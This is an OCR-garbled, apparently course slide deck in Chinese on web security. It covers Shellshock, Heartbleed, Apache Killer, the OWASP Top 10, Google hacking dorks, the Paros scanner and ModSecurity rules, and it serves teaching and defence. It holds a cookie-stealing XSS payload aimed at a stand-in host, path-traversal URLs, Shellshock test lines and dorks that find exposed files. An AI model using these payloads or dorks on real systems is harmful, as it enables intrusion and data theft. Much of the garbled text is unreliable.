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ShellShock

Bash ¥ ERI5 S8R
Gnu bash 4.3 Fi

|':-;:iﬁ':|ass'-.-'|“-gL.i:-- i B SYETTT
[rootlclassvm-gui ~]# |

icrosoft Windows [ffi7 6.1.76811
Copyright (c) 2089 Microsoft Corporation.

C:\serssowufor

A1l »

ights reserved.




ShellShock 1= 4l

env VAR='() { :;}; echo Bash is vulnerable!' bash -c
"echo Bash Tes

[rootlclassm-qui ~]# env VAR='() { :;}, echo Bash is vulnerable!'
bash -¢ "echo Bash Test"

Bash 15 vulnerable!
Bash Test



http://shellshock.brandonpotter.com/

test-cgi

€« — C | [ homepages.inf.ed.ac.uk/cgi/neilb/test-cgi

CGEIf1.e test script report:

argc is @. argwv is .
%8 = test-cgi

1 =

2 =

3 =

SERVER_SOFTHARE = Apaches2.2
SERWVER_MAME = homspages.inf.ed.ac.uk
GATEWAY_IMTERFACE = CGIS 1.1
SERVER_PROTOCOL = HTTPS1.1
SERWVER_FORT = 8@

REQUEST_METHOD = GET

HTTP_ACCEPT = text/html,application/xhtml+xml,application/xml;qg=a8.9,image/ webp,*/¥;g=0.8
PATH_INFO =

PATH_TRAMSLATED =

SCRIPT_MAME = fcgi/neilbs/test-cgi
QUERY_STRIMNG =

REMOTE_HOST =

REMOTE_ADDR = 14@.117V.71.2Z5
REMOTE_USER =

AUTH_TYPE =

COMTENT_TYFE =

COMTENT_LEMNGTH =

USER =

HOME =

DOCUMENT _ROOT = /fpublic/shomepages/homepages-data/web
DOCUMENT_URT =




Heartbleed

WHeartbleedIﬂﬁﬁ'\%

P 2 & i -\\a\\ é‘a/r%,ﬁ@ N
BEREEAEHABENOpenSSLIRE  (ERBIEWHMBN TRE » BISERT /RREL EEE Y S
OpenSSLIOHRESE - RABEZBEMNOpenSSLAEHeartbleedifil - RFIHINECHEM
h64KBRHHEE - BEITUEHRATIR DNECHEMMIENDEERE EHEZENE

FAIRE - MISIMSAEREE —SERA - l%?}%H&Z&OpenSSL
[root@spampc johnwu]# perl ./check-ssl-heartbleed.pl -s e, 1.0.1 ~1.0.1f

...88]1 received type=22 ver=0x303 ht=0x2 size=70
...88]1 received type=22 ver=0x303 ht=0xb size=604

[0] /C=TW/L=Default City/O=Default Company Ltd | Apr 18 06:13:11 2014 GMT - Ap N —_ N .
' secioss 2ts o w2 e 5, JESS L
...88]1 received type=22 ver=0x303 ht=0xc size=395 N Sy H
...88]1 received type=22 ver=0x303 ht=0xe size=0 EﬂfﬂﬂEE/\j ﬁ:ﬁ@
...send heartbeat#l
...88]1 received type=24 ver=303 size=16384
BAD! got 16384 bytes back instead of 3 (vulnerable)
40 00 cd 03 03 53 57 34 7e 1d 24 97 65 41 b3 |.C....S5W4~.5.eA.
6d 22 0f 93 3c 27 26 ad 42 70 a8 02 ab 60 4f |.m"..<'&.Bp... 0
11 fb 62 1la 2e 00 00 a4 c0 30 c0 2¢ c0 28 c0 |...b......0.,.(.
00 a3 00 9f 00 6b 00 6a c0 32 c0 2e c0 2a c0 |§5.....k.j.2...%.
00 9d 00 3d c0 2f c0 2b c0 27 c0 23 00 a2 00 |&...=./.+.'.#...
00 67 00 40 c0 31 c0 2d c0 29 c0 25 00 9c 00 |..g.@.1.-.).%...




Heartbleed £ %

tEzRopenssl [ A G B AE 252 E2 0 IR N

[root@ip71131 ~]# openssl version -a
OpenSSL 1.0.1c-fips 10 May 2012
built on: Mon Sep 10 19:02:10 UTC 2012

platform: linux-elf
options: bn(64,32) md2(int) rc4(8x,mmx) des(ptr,riscl,16,long)
ea(int) blowfish (idx)

F] A telnet G VL AT & FICHYSS LA

[root@spampc ~]# telnet i mbiaileminib 80
rying it . .

onnected to NN .

Escape character is '*]'.

get / http://1.1

HTTP/1.1 501 Method Not Implemented
Date: Tue, 22 Apr 2014 01:16:29 GMT
erver: Apache/2.2.8 (Unix) mod ss1/2.2.8|OpenSSL/1.0.lc-fips

Allow: GET,HEAD,POST,OPTIONS,TRACE



Open SSL )& M@

RS =EH ! OpenSSLXYBEFER S EMFERE - ERRS7HIBRE
(E25

OpenSSLEFR/NEABESEE » BR7H98ZEH0penSSL 1.0.2dM1.0.1p5 ik » REER—ESERR
- EEREAEE ETLXL%&%T’“ B DoSHEBEINELERERIIR®E OpenSSL 0.9.8fRAI1.0.0fRF 22

X/ EEE | 2015-07-08 2% GEY 5= =@mAiThomesE [GEJEES(52] 84 5

:\f_/'Symantec. | VERITAS

wnlod | Blog | Our Sponsors | Sponsor OpenSSL | Security Elﬁﬁmamﬂiﬂ

Title
°  Welcome to the OpenSSL Project
. &1
News The OpenSSL Project is a collaborative effort to develop a robust, commercial-grade. Veritas Solution Day 2015
'—- full-featured. and Open Source toolkit implementing the Secure Sockets Layer (SSL 7828
- v2/v3) and Transport Layer Security (TLS) protocols as well as a full-strength general R28H 6L FRELRMRES
purpose cryptography library. The project is managed by a worldwide community of T ENER4

volunteers that use the Internet to communicate. plan, and develop the OpenSSL toolkit
and its related documentation.

OpenSSL is based on the excellent SSLeay library developed by Eric Young and Tim
Hudson. The OpenSSL toolkit is licensed under an Apache-style licence, which basically
means that you are free to get and use it for commercial and non-commercial purposes
subject to some simple license conditions.

| =
iTh®me

BB iThome BATHY
B

Date Newsflash

06-Jul- OpenSSL 1.0.2d and 1.0.1p security
201 S:releases due 9th July 201<
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Heartbleed#E:%

o W] F &R _E =R AR EHIFE
https://filippo.io/Heartbleed/
http://possible.lv/tools/hb

» H¥ropenssl£1.0.1g

» M FAtHEEE L i HiEheartbleed i I E2

iptables -A INPUT -p tcp --dport 443 -m u32 --u32
"52=0x18030000:0x1803FFFF" -] DROP

* JRAJHE - EMPTHIVEDS


http://possible.lv/tools/hb
http://possible.lv/tools/hb

W% s
> 2 N A BBk
> & it PR7*
> A 530 20 a3 B

7 5
>H - B8 JRixrIT
> ATV IE B PRI
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D.o.S (Apache Killer)

% Apache falf286R%E ZIAEE

& BE3: 30/09/2011 BB 03/10/2011

1218 NetCraft Fsti&H » #k 2011 95 » AFE) 65 % FRER(EM Apache » FibL » {E{T$+41 Apacheff)
M IS HOBHSH I PERR) -

11 2011 £8RA24 R IRB LA ITREARASRM 7 —BE$ Apachef3)fRss Range/Request-
Range #288/&/[ (CVE-2011-3192) X 823482125\ (Apache Killer) * 337 o183 PRRAARTF 142 -

RFELRGERREAOEZTLINRATHETE (Partial Content) * 7173 B FRY Bytes BREHZA
H1TIH5% - ApachefsBRSFUNFIHRE » @415 Bytes REESWUIZFEITARILUEINNE - PRl » 11R LIRange/Request-

Bl EHRT— é"éséiﬂ%ﬁ‘%k?ﬁfﬁ'm Apachef 'JBE%%T:&M!P@ &[‘Fﬁﬁﬂﬁ! B EEREARRE 22 & 2004




ZEfiEae | TACERT-ANA-2015042408044343 BEMEIERT 20150424 08:42:51
ERVEET]  ANA-JRRIFEEE FEIEARRY 201504 22 00:00:00
SLEEE 5

[EE5&HR] DRRFELE ] HTTrers Y EME =EPs v ie SN Bmal TIE RS  2eEhs
JECVE-2015-1635 (MS15-034)

[P E:]
MERFEFEERT T MRS BR/ EEFAE LR [C5T-ANA-2015-0004

THELEERHTIP . sy M RE E M VFBEIRETIE IS, BN E £ E - SEESEEEHMH R
(NIST)RYE S EREE R E (VD) 3R EREEMRa_VE-2015- 1635 [1-2] »

HTTP. sve SR SEHTTPEERAAZ LR ZUBEIFER » MeTiRiRE A& T HRequest HeadersRig
ERange2BYEIENRR - BTWET L | BINFAHEEESHT RSN ES - grLIRER
PEFEAEIR R T EE =GP HEr ARFE I EE (D03 »

Rttt indova EEE R T O 20 O S WE G DEE BT 151 ©

HAEEIRE "ERAmEEG,  ERE RIS SR -
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Apache Killer

o H] A 2 EH e B R AP EE (apache 2.2.20 Z Hij i AN)
» F]FHZF=UE(Header)yrangef iz &
1F & —{ERequest B[] [0 78 — (& &= 1A

Range fn3—(ERequest i [5]78 B i % [H R E @ EXI A »
B R R

o FEEAI AR KRR n B B AL
» https://httpd.apache.org/security/CVE-2011-
3192.1xt MR IR S Response P

= _h —— - 2 ‘1/
' HTML |
<=:::::::J =

Request

13




TEEFHA E 7720 (—{ERequest,—{ffResponse )
telnet (4B (FHRZ3FREHT 1G] 8o
GET /index.html HTTP/1.1

HTTP/1.1 200 OK

Date: Thu, 20 Oct 2011 09:15:55 GMT

Server: Apache/2.0.64 (Unix)

Last—-Modified: Sun, 21 Nov 2004 14:35:21 GMT
FETag: "4191d-408-—-aocdaic40"™

Accept—-Ranges: bytes

Content-Length: 1032

Content-Type: text/html

<! DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
HTML>

<HEAD>
<TITLE>ZAEE Apache BYHIEZE EH</TITLE>

14



PArange /(i 7 HUHE H
telnet [dEUE{a]AkasPTERY E%{r4E] 8o
GET /index.html HTTP/1.1
Range: bytes=100-200,201-205,206-220

——4datfb/aeb97557416
Content-—type: text/html
Content—-range: bytes 100-200/1032

BH</TITLE>
< /HEAD>
<! —— Background white, links blue (unvisited),

ctive) ——>

——dafb7ae597557416
Content-—type: text/html
Content—-range: bytes 201-205/1032

<BODY

——4d4afb7ae597557416

Content-—type: text/html
Content—-range: bytes 206-220/1032

nawvy

(visited),

15









TEZ2OWASP

OWASP | (e [ssaren]

The Open Web Application Security Project

FPage Discussion Wiew source History

Mawigation WebGoat Installation
k Home
b Mews webSoat User Guide Table of Contents
P OWASP Projects
» Downloads Contents [hide]
b Local Chapter.s 1 Installing Java and Tomcat
: elzles CDI‘EI‘I‘IIttBBdS 1.1 Installing Jawva

REESEE Jele Baal 1.2 Installing Torncat
b AppSec Conferences . .

. 2 Installing to Windows

¥ Presentations 3 Installi o Li
b Wided nsta !ng o Linux .
b Press 4 Installing to O% = (Tiger 10.4+)
b Get OWASPE Books 5 Installing on FreeBsD
b Get OWASP Gear & Running
» Mailing Lists 7 Building
» About OWASPE g Installing waR file to existing Tomcat server
F Membership
Reference
» How Ta... webGoat is a platform independent environment. It utilizes Apache Tomeat and the JAVA development environment. Installers
¥ Principles are provided for Microsoft wWindows and UN*X environments, together with notes for installation on other platforms.
¥ Threat Agents .
e Installing lava and Tomcat
P Vulnerabilities MNote: This may no longer be necessary for v5.
F Controls
F Activities Installing Java




OWASP—{EFe LA ~ FREFMEHAS - EKHATH
82 Jr - H £ FE H AR ith B e A R A & &

ZAERE ~ TRELRHITT - RIABOTRBIEUR 2k
EIRIE BRI Z £t -

EEtFIE SEZae (FIC) s#flEzmTE 5
BIHROWASPRTER ﬁﬁEl’]ijtﬁﬂEﬁzﬁ%EBB”%EU =X
IR TRV R FEE S > BB ER K&
H%’az\EZfTIPCUfﬁEEH#E?U%M\@:TE{&F
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OWASP 2013
@

OWASP Top 10 - 2010 (Previous) OWASP Top 10 - 2013 (New)
Al - Injection Al - Injection
A3 - Broken Authentication and Session Management A2 - Broken Authentication and Session Management
A2 - Cross-Site Scripting (XSS) A3 - Cross-Site Scripting (XSS)
A4 - Insecure Direct Object References A4 - Insecure Direct Object References
A6 - Security Misconfiguration A5 - Security Misconfiguration
A7 - Insecure Cryptographic Storage — Merged with A9 2 Ab - Sensitive Data Exposure
A8 - Failure to Restrict URL Access — Broadened into =2 A7 - Missing Function Level Access Control
A5 - Cross-Site Request Forgery (CSRF) A8 - Cross-Site Request Forgery (CSRF)
<buried in A6: Security Misconfiguration> A9 - Using Known Vulnerable Components
A10 - Unvalidated Redirects and Forwards A10 - Unvalidated Redirects and Forwards
A9 - Insufficient Transport Layer Protection Merged with 2010-A7 into new 2013-A6




A1:INJECTION

O

KBB4 TN - B2 T B S
Google Hacking

I ~ LIPSO R R ESEEHRAIKHE
CIEEER{Y - SEREEEEETFE T
= R TR e H 2R Ra T EL -

FiEFE eSS S R P ERKEME P A EH Y ] IR =D
17551 7 P12 554 RIS ESS I T T =12
T~ BEZEER(LUIAS S T ERITnioEEE aHEiTEE T Bl
Googleg9iZIT|maE /| - sZJiBGooglei | @ EH b =] FHzRE
AFEFZEEBRY "EFEASE . c BFIAEEFIEBEEE T B IES
ee TIF ASE . IR AFERET= » LI ES=E @ [=EFEEL
TFXEMSAEEH -

TIEFEESEMES E LUIKIRES K - dEETT R EFEEAY
SQL InjectionZz&E - | [EIBSEIEESAVVTEFTR TS T -




) E http:/fwww.Slai.com,/Club_hd.asp?classid=2

9,

Google(AEIE =) : intext

W ooyt | - cedute. | © =ara

REARE - YUERIBFEHEGER [CrEEM] [(BEF]

[P EEWSE R NMER K ]

i 4 Py D EIHAE

= 45 41 PR iR E A R 3L o &ClubManage=aaaaa&ClubTitle=F EHIEHWEMNIHIE M EEEE S
1+ target="_blank” class="6hui_ 1 >5FE:%E’J}\1‘E$ TG

sre=http://3b3. org/ec.
sre=http://3b3. org/ec.

sre=http://3b3. org/ec.
src=http://3b3. org/c.

jsr</script><script
js»</script><script

js»</script><script
js></script> [NEwW| L[08-03-20]




Google("F83¥ =) : intitle

O

intitle:"index of" etc “
Index of /etc/passwd

Name Last modified slze Descriptlon
a Parent Dlrectorvy 22 -Jun-2010 14: 324
=| common.php 22 -Jun-2010 14-45 5k
= conflgz . php 22 -Jun-2010 14:-4% 7k




Google(URL# =) : inurl
O
=ivewreasos - 'WINNT/system32/

[To Parent Directory]

2004)~11u&22uea HUEE 12:04 456 Swinnt&.inf
Z003 | ~gHEZGHE EUEE 08:00 2151 12520437.cpx
Z003 | ~gHEZGHE EUEE 08:00 2233 12520850.cpXx
Z003 | ~gHEZGHE HUEE 08:00 1460 als.tkl
Z003 | ~gHEZGHE EUEE 08:00 44390 a234.tbl
2003 ~gHEZEHE EUEE 08:00 32016 azaamon.dll
Z003 | ~gHEZGHE HUEE 08:00 67344 access.cpl
2002 ~BuEZons EWEE 09:26 64512 acctres.dll
Z003 | ~gHEZGHE HUEE 08:00 150800 accwiz.exe
Z003 | ~gHEZGHE EUEE 08:00 618952 acelpdec.ax
2003 ~fEEZEHSE HUEE 08:00 131856 acledit.dll




Google(URL# =) : inurl
)

inurl:"test-cgi” O _

= e = H =R Hir B BEBiE - W=ETH

#E 27,500 tHES R (i aFiFfd - 0.39 1)

test-cgi vulnerability - Insecure.Org
insecure_org/sploits/test-cgi html ~ SEEEEEE
Some of the test-cgi scripts distributed with some http servers are buggy.

cgi-bin/test-cgi allows arbitrary remote file listing
insecure_orgfsploits/test-cgi.server_protocol himl ~ EE=Zi=S(EEE

If you give test-cgl an argument which includes a *, you can get a directory listing from
the SERVER_PROTOCOL field. In other words, it is another pathetic cgi.

test-cgi

https/www_rpi.edu/dept/core-engfweb-01/cgi.._ftest-cgi ~ SEE=EEHEEH
#l/bin/sh # disable filename globbing set -f echo Content-ty pe: text/plain echo echo
CG1/1.0 test scrpt report: echo echo arge is $#. argv is "$"". echo echo ...

Test::CGl::Untaint - search.cpan.org
search.cpan.org/~profero/Test-CGl._/Test/CGI/Untaint.pm ~ SEEEEE
MNAME ~ Test :CGl::Untaint - Test CGl:-Untaint Local Extraction Handlers. SYMNOPSIS
fouse Test::More tests == 2; use Test::CGl::Untaint; # see that red’ is ...

test-cgi - Informatics Homepages Server

homepages.. . edac.ukicgineilb/test-cgi ~ FEEFEEER test-cgi
CGIM.0 test scnpt report: arge i1s 0. argv 1s . 30 = test-cgi 31 = 52 = 53 =

SERVER_SOFTWARE = Apache/2 2 SERVER_MNAME = homepages.inf.ed ac uk ..




Google(1822 4881 =) : filetype

O
[ndex of ftp:/ Femremeaspiere | log.mdb

@ 10g.1ds 43.33Mb May 31 2011

ﬁ LOG. rar 140.75Mb June 14 2011




Google(IENE =) : site
O

site:nsysu.edutw intext E:FEFEE “
fgnsysu. edun. teiE RN S E 2HYEEN

298 16,000 FEsE R (fi=tsfa) - 0.20 )

ISCERT-FHLR- YR EEHT

icsp.nsysu_edu tw/modulesftingcontentD/index php?id=3 - BEFE

e SRR SRR 2B OER - S Z 2B lAERETEET AIRHIER
sl © Jall (Information) REHBEZEEE @ MR TCEEMEETE & 1 ¥ .

wwwZ nsysu.edu tw/cc/921002safe him - BEEFE
— - HRFZEE - SIENL RIS NE  EENGERE - HETAER ..
Z- BHEENFRSAIF2TRINE - AT REEERE  BEHEUEER ..




Fl|FHgoogle & 2,5 1% 25 1F% FeilF H N 2 mdbigE &
FI4EYE (intitle:index of /mdb)

A2 yemail =
site:nsysu.edu.tw intext:* @*.nsysu.edu.tw

IL.a= t

sd I F 3 =d

=1==

43 Farxezat I1i xec o x Ol —oe + —Z2OOsE 1 =:- 11 -
A adwmis OS —Max-2O00a 1S- 1S -
A aatar 21 Ma--Z005 10:-11 -
A fovmc o £ 01 —Felkb-Z2001 12 S -
A 1 tm1 s O -+ —200S 1=-00 -
A nas1 s Ol o - — 2007 13- A0 _
A = o= - 21 -_Ma---2000 =1: 15 -
A - 21 —Dec-22OOs 22 : 17 -
15rades . batml =21 -Maz-2O000 =1- 17 11
ad-wice CowImt .t 1S oo+ -—ZO0Oz2 1=: S0 11z
= ox e 01 —Tumn-Z2003 17: S o =1
1 F+t= ——aE e Pl A — =T 0 - 1 == -2100= 1==-11 L= b =
i fts - ComaIat . tict 144 e+ - Z20O0S 10:-2=1 11z
1deas " cCcateoooxrle=s ozt e R B e e e SN 11:-1= h= E.g
ideas - comaEat . kot O —Ma- 2009 122 11z

R s N = S =T

28



Google hacking

» &z phpmyadmin fYsetup.php
* intitle:phpmyadmin inurl:setup.php

‘Warning: Cannot modify header information - headers already sent by (output started at /home/users/st-andrews/www/phpMyAdmin/libraries/select_lang lib.php:146) in /home/users/st-
andrews/www/phpMyAdmin/scripts/setup.php on line 84

phpMyAdmin 2.11.9.2 setup

Welcome

You want to configure phpMyAdmin using web interface. Please note that this only allows basic setup. please read documentation to see full description of all configuration directives.

Can not load or save configuration

Please create web server writable folder config in phpMyAdmin toplevel directory as described i documentation. Otherwise you will be only able to download or display it.

Not secure connection

A You are not using secure connection, all data (including sensitive, like passwords) are transfered unencrypted! If your server 1s also configured to accept HTTPS request follow thus link to
use secure contection

Available global actions (please note that these will delete any changes vou could have done above):

Servers

Layout:

Features

‘ |Br0wsmg| |Editmg| ‘ |Query winduw| ‘

| Upload/Download| ‘ |Security| ‘ [MySQL manual| | |Charsets.

|Extensw0ns| ‘ |MIMEIReIat\0anistory| ‘

T . S




http://johnny.ihackstuff.com/ghdb/

| intitle:"Index  of
modified php.exe

filetype:php

inurl:"viewfile " -"ind...

‘(II

Summary

PHP installed as a cgi-bin on a Windows Apache
server will allow an attacker to view arbitrary
files on the hard disk, for example by requesting
&quot ...

Programmers do strange things sometimes and
forget about security. This search is the perfect
example. These php scripts are written for
viewing files ...

30



fHEFIESS
{(Web Server)

IS Apache

select * from acc where login="1§%;' and

FITHIHFR =
=X,

] L“‘“

| (fEEhr
html)




A1: Injection

O




A1: Injection

O

S HE R 2%
(Web Server)
YIS, Apache




A1: Injection-solution

9,




o (22 AP
Y1JAVAfE HprepareStatement(){{;Z createStatement() » /B
SEIZPRIAI -

o H5F i/ MERR IR

* fm EMEAFE ServerlimEt{T 0 13 EClientl o
At o [RAINoScriptEl i fei i B2 FUHE

* BAPAREZUEERRENE, > B EEIINA, -

7[1DB Name - Table Name=s -

4@1
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A2:Broken Authentication and Session Management

O




R RAI(TEE T - 108500 1)

B2 HL TR 5 A P B R e
BEJJi H 8 LS IE A B E L (B

==

2]

7 %%E

=& TEsession timeout - EiHA H EHE

T\ M URLFFFESession ID
P A 2 Session ID

37



A3-Cross Site Scripting (XSS - FEA8IL I AT 2

9,




X.S.S

O

"><SCRIPT>var+img=new+Image();img.src="http:
//hacker/"+document.cookie;
</SCRIPT>

browse




A3-FERF

9,




A3-FERF

9,




» BAFRE T WEPF 2 (AEREBE R ERkey(H) -

\

17 H ARPR R

TE 5 Y 7S
http://www.target.com/readfile.php?file=file1.pdf

g =g -tes
http://www.target.com/readfile.php?file=../../../../etc/passwd
1B HYEES

http://www.bank.com/userinfo.php?id=1000

DB E A

http://www.bank.com/userinfo.php?id=1001

42


http://www.target.com/readfile.php?file=../../../../etc/passwd

T BRI

http://www.target.com/readfile.php?file=1
FEEFZGEIERER - EFRaaEHEFERER -
R BRI 2 S R E S

i AEORHERES PR H 24 B

g A\ SR g AR
KR\, ~ T/, ~ T%s5¢, ~ T%2f, ~ T%00, -

43


http://www.target.com/readfile.php?file=1

k

E

A5-Z T HH RS

==

o Koz SR SUIRE - HE TS E

x o BT o FHASLEPIEEIEREIEEIERE o

e user warning: You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near INNER JOIN node_access na ON na.nid =
node.nid WHERE (na.grant_view >= 1 AND ((n' at line 1 query:
execute /™ IHF . execute 7/ SELECT COUNT(™) FROM ( INNER
JOIN node_access na ON na.nid = node.nid WHERE (na.grant_view
>= 1 AND ({(na.gid = 0 AND na.realm = "all) OR (na.gid = 0 AND
na.realm = 'og_public?))) count_alias in
=X sites\allimodules\wiews\includes'wiew.inc
on line 745.

e user warning: You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near INNER JOIN node_access na ON na.nid =
node.nid WHERE (na.grant_view >= 1 AND ((n’ at line 1 query:
execute /™ IHFE . execute 7/ INNER JOIN node_access na ON
na.nid = node.nid WHERE (na.grant_view >= 1 AND ((na.gid =0
AND na.realm = "all) OR (na.gid = 0 AND na.realm = ‘og_public?))
LIMIT O, 10 in
= _ ) wsitesiallimoduleswiews\includeswiew.inc
on line 771.

SENE

||

CLOSE X




TEHAE R 2B IR
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A6 - Sensitive Data Exposure

9,

ohn Doe

cyclops Mary Ann Smith

sabretooth



http://plainpass.com/

A6-FERT7 5

9,




A7-FH IR TAERR R
O




JRYEE Z IRedd BB T E
ik H Role-Based(FA ®5058) » R ESEEFEZT

EERREBURH TR 4 H PRadss /IR E TP T

(& lm e HE E A4t s 1] e Bk DR HIH Y 247




P AgUL R i aE K R

W FHEXSS > HILW B+

M B ER R E TR

e EL A TERAI(E

Ey‘/&il_ﬁlﬁ AR SAEAEATEEE
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Appserver (Apache+Php+Mysql+phpmyadmin)

Phpmyadminftf#ysetup.php R injection [
(phpMyAdmin 3.1.1 0 7 Fi)

25 | 451% R IS /seripts/setup. php 2 =,
WEE NEGE BRI T
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S|REELESER

ﬁﬁté—iﬁ RIS
A= LOE R

» ANEAE

& AS

s B

54






o BBzt Java JRE/JDK 1.4.2 DIEHIFRAS
o “N—ITHEL
o HrEEEEBR nroxy(F5 A localhosty80803)

e S (AN S5

B &hE=7E
%Eﬂ%ﬁiﬁﬁﬂﬁﬁiﬁhﬁﬁi = FEEREIFIEHS&hSETE - S51=FH B &hE=

[ B&EhigiBISET=E (A
[ 11 A H&EhzA REFS= 1S &

Fro>or {E1HRE 35

%%Eﬁ?%%ﬁ#@%ﬁﬁﬁ FProxor {ElHR 85 GEEESEFEHS TS = =UfEs

fartib(EY: | localhost SHEIZELE (Th: | 2020 | sEREay |
[ iFsRsmub-T{#E FA ProxorED

[ WETE 1 7 e ]




RS s - B B AK e B A G

%]

~“Analyse”=>"spider” (& FEAUEEEETE T~ 2K)

%]

~”Analyse”=>"scan all”(Hl & fFE4405)
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ParosiR 7z

O

Paros Scanning Report
Report generated at Thu, 25 Jun 2009 13:31:36.

Summary of Alerts

Risk Level Number of Alerts

High
Medium

Low
Informaticnal

Lo T o R S |

Alert Detail

Medium {Suspicious) Lotus Domino default files

Description Lotus Domino default files found.
URL hitp://kpp.nsysu.edu tw/?Open
LRL hitp://kpp.nsysu_edu tw/?0penServer
Solution Rermaove default files.




» Apachef=4H

» WEBJE HE =[5 Kl (WAF)

» SEEAVHTTPE B ECEFDIRE

o feftiE M IER R AR RN AR R B HVHTTPHY

o RIHFEEE AR ERTHTTPTT &

» #{#E SQL injection attacks -~ cross-site scripting -
path traversal attacks=fH &V WEBIZ £

web server
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httpd-2.2.27 http://httpd.apache.org = $% unique-idIfj5E,proxy

modsecurity- http://www.modsecurity 4 E 7 K&tk is
apache_2.8.0 .org/




Request-Response

ET http://140.117.71.24/test.php HTTP/1.1

st: 140.117.71.24

onnection: keep-alive

ache-control: max-age=0 Request Header

ccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,=*/*;g=0.8
ser-Agent: Mozilla/5.0 (Windows NT 6.1; WOWe4) ApplewWebKit/537.36 (KHTML, Tlike Gecko) [fhrome/41.0.2272.89 Safari/537.
ccept-Encoding: gzip, deflate, sdch

ccept-Language: zh-Tw,zh;g=0.8,en-Us;q=0.6,en;q=0.4

Request

| ¥

Find... (press Ctrl+Enter to highlight all) I ViewinNotepad

Responseis encoded and may need to be decoded before inspection. Click here to transform.

set SyntaxView | Transformer | Headers | TextView | ImageView | HexView | WebView | Auth | Caching Cookies ||Raw | JSON | XML
Fpn.l 200 0K

-
Date: Mon, 23 Mar 2015 05:55:44 GMT ™
Server: Microsoft-IIS/&.0

X-Powered-By: PHP/5.6.6 Response I
Keep-Alive: timeout=5, max=100 Response HeadeI

Connection: Keep-Alive
Transfer-encoding: chunked
Content-Type: text/html; charset=UTF-8

< IDOCTYPE ml PUBLIC "- 3C TD XHTML 1.0 Transitiona EN DTD/xntmil-transitionadl.dtd >

khtml xmlns="http: / /www.w3.0rg/1999,/xhtm1"><head=>

kstyle type="text/css">

pody {background-color: #fff; color: #222; font-family: sans-serif;}

pre {margin: 0; Font-family: monospace;}

a:1ink {color: #009; text-decoration: none; background-color: #FFf;}

ga:hover {text-decoration: underline;}

rable {border-collapse: collapse; border: 0; width: 934px; box-shadow: 1px 2px 3px #ccc;l

center {text-align: center;}

center table {margin: lem auto; text-align: Tleft;}

center th {text-align: center !important;}

kd, th {border: ipx solid #666; Tont-size: 75%; vertical-align: baseline; padding: 4px Spx;}

hl {font-size: 150%;}

nz {font-size: 125%;}

p {text-align: Teft;}

e {background-color: #ccf; width: 300px; font-weight: bold;} Response BDdy

h {background-color: #93c; font-weight: bold;}

v {background-color: #ddd; max-width: 300px; overflow-x: auto;}

v 1 {color: #399;%}

img {float: right; border: 0;}
Lucdebs  ooa el 4 1




2812 (Embed)

Mod_Security Embed

Mod_Security
(Reverse Proxy)

Apache Web Server
(With PHP)




ROLE:

.
.
if




Mod_ Security &7 P& EZ

O

Request ¥ &2

SECRULE

> eader >

Request Body
{Phase 2)

SECRULE Sale

(Phase 5)

v
SECRULE

SECRULE

Response Response
mody Header
(Phase 4) {Phase 3)

Mod_Security iR &E




» Request headers (REQUEST_HEADERS - phase 1)

AL EI R as PRI R = FimEYhttp 22K > IEfE##AThttp2REH
(header)HyfEEz

» Request body (REQUEST_BODY - phase 2)

AL EIR SRR B PimayhttpZEsK » IEfEREMThttp AE
(body)HYF&E



» Response headers (RESPONSE_HEADERS,phase

3)
& AL (El Ak a5 [0 2% FPlmdvhttp oK - 78 [0 httpfZEiE
(header)y[&ES

» Response body (RESPONSE_BODY,phase 4)

UL EIRR 23 R 2 FimhhttpZESK » (FEZEhttp IR
(body)HJFE EZ
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Mod_ SecurityP& Ez
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SecRuleEngine on|Off
B0 B RO AT DO RE
SecRule TARGET operator [ACTIONS]
FHIEE
targer - SREFH

Operator : ZEEHTH A (A IEFEFRE)
Action : EFFEEFEAVRANG > FreEstd THYENE
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SecRule - Target

« REQUEST METHOD
A FHPYMETHOD(Z1GET,POST, TRACE)

* ARGS_GET
A& {5 & A FIGET METHOD _F{#/)2:8;
* ARGS_POST

N2 F - FFHPOST METHOD | {8y 228
o RESPONSE STATUS

Ak {a] il =5 (o] B HYIARE(21404,500..)
» SERVER ADDR

AR B SEE S vl
» REMOTE ADDR

AR P S HYALHE




(ge, eq ,gt,le,1t) R, L,/ N
beginsWith: ¥ A HFHTEE ST &
Contains:LE¥ig AFEH S FEEGHE
endsWith:LE ¥ AHVSE RSB
ipMatch: [t A HAVIPF SR E ST S
Strmatch:[E¥ FHE LTS

IERRFRRA

~0



SecRule - ACTONS

O

» allow
O MRFFEHROBLET
» append
O MRFFEREFERERE L B
* Deny
O MIRFFE RGBT E &
> exec
O MR EHREBaESTEMERER
* redirect
O MRFFE G Bia I FFE(EHURL




SecRule REMOTE_ADDR "@ipMatch 192.168.1.100,192.168.1.50,10.10.50.0/24
Deny”

BEHZRIRIPFT & Fras EHYIPEIDeny

SecRule REQUEST_LINE "!@beginsWith GET
{EHIFTE A FFIGET method®VHTTPEME

SecRule REQUEST_LINE "@contains .php
{EHIZ A phpAYHTTPEME

SecRule REQUEST_LINE !@endsWith HTTP/1.1
{EHIREQUEST LINEAY4E RS2 HTTP/1.1

SecRule REQUEST HEADERS:User-Agent "@strmatch WebZIP
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Configuration Directives
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Configuration Directives

O




SecAuditEngine RelevantOnly

#GR B E LR $E e & SN RE
SecAuditLog audit.log

#5E sk R AR 4 Tl
SecAuditLogParts ABCFHZ

# 5 TE AN R I TRAL
SecAuditLogType Serial | Concurrent
#ax B PV AIS, Serial £y 5 —A8 ZEE0HE
Concurrent L 2% {15 22085 (LA SecAuditLog 4% fyindex)
SecAuditLogStorageDir logs/audit

#ax E LOGHY itk
SecAuditLogRelevantStatus *(?:5(/4(?!04))

# 5 [ B AR ARG R4 XXEEXX (PR T 404)H9508% MK
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Configuration Directives
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TR EERILS

LoadModule security2_module modules/mod_ security2.so
<IfModule security2_module>

SecRuleEngine On

SecServerSignature "Microsoft-11S/5.0"

</IfModule>
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LoadModule security2_module modules/mod_ security2.so
<IfModule security2_module>
SecRuleEngine On
SecRule REMOTE_ADDR “IPE:H$" "deny,id:100000"
</IfModule>



SQL injection

LoadModule security2_module modules/mod_ security2.so

<IfModule security2_module>

SecRuleEngine On

SecRule ARGS_POST "@detectSQLi" "id:152,log,deny”
</IfModule>
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